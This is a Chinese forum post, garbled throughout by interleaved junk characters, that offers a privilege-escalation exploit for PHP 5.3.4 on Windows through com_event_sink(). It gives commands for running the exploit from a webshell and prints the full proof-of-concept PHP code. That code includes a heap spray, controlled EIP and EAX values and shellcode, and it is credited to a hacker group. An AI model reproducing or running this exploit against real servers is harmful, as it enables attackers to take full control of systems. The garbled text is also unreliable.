|
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中
9 |- \9 r! p1 |; Q4 A$ R
) L7 L8 [, D! c* V% g0 t9 c测试方法如下:cmd /c x:\php\php.exe x:\test.php
0 N p. [7 I) v# _
7 {/ f* a2 @; A; x下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php/ B6 X+ [4 s9 Z* K( O) X7 V
这里是两个测试的截图:
6 r0 ^, C; k- ]* w( q! B- \# z2 C% y( X4 k$ g0 N( U
- J2 U: u: ^3 }6 z; W6 m1 o
T; J& s5 G2 \' M8 K( I! _
* i; x ?( t9 E1 ]) H- j. `. \! d
成功利用此漏洞的攻击者将获得系统的最高权限
i1 n5 ~3 F0 _& X; V w c/ N1 {$ h" Q6 w: c# }# y
2 Y3 _8 V. g& s- r+ g
$ j, k2 C: u* H' X- d4 {; I y9 O
; e% @9 U3 n" C1 B; g# S
% \2 A8 s! f5 B+ j2 m3 \3 U关于漏洞分析稍后附上。一下是PoC代码:: c; \& i0 a/ \% T, f. I- S
) ]# C" }8 D( ^/ Y; f<?php
- M% U" A2 I' [5 a//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞
$ G7 |. x3 c% S& O: F//$eip ="\x44\x43\x42\x41";& G1 [4 N3 O( N
$eip= "\x4b\xe8\x57\x78";
( o" d7 |4 ]# `0 ^' }" r5 q% u$eax ="\x80\x01\x8d\x04";- v) G4 A; s0 K. S, R
$deodrant="";
2 S. k/ Y& z/ D) [" f$axespray = str_repeat($eip.$eax,0x80);
3 k# C0 H/ l4 K# K# o//048d0190* @$ b7 J( @) W j; w$ N3 r
echo strlen($axespray);. W+ N! r0 a( |
echo "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";, N- [- f- N8 H" f
echo "Silic Group Hacker Army - BlackBap.Org";: r8 s/ @) ?' V$ |
//19200 ==4B32 4b003 a3 Q7 L y Z' g9 T2 T
for($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}
/ m8 O0 w0 l, f0 [; G$ h: r$terminate = "T";/ Z: y, V/ X) R: o4 C
$u[] =$deodrant;- q A& ?. j4 X9 f0 `
$r[] =$deodrant.$terminate;
2 u( r2 `$ E* v! D! h# z6 A8 t$a[] =$deodrant.$terminate;& [3 I& i, Y& n ` w
$s[] =$deodrant.$terminate;3 U, Y9 j4 m0 b; m6 b
//$vVar = new VARIANT(0x048d0038+$offset); 这里是可控可改的3 h5 v/ y6 t: ]$ Q; L
$vVar = new VARIANT(0x048d0000+180);$ f: ^+ o3 u( G
//弹窗代码(Shellcode): ]7 v N1 W9 X l# b
$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";$ S# N' P/ J$ L' v1 z! f+ m) [
$var2 = new VARIANT(0x41414242);- X |% W U ~' K
com_event_sink($vVar,$var2,$buffer);
( n' ]6 c% c. M4 V7 n+ E# E$ m) `9 s?>
5 Q" N+ I0 D$ P( e( Q; d, H |
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|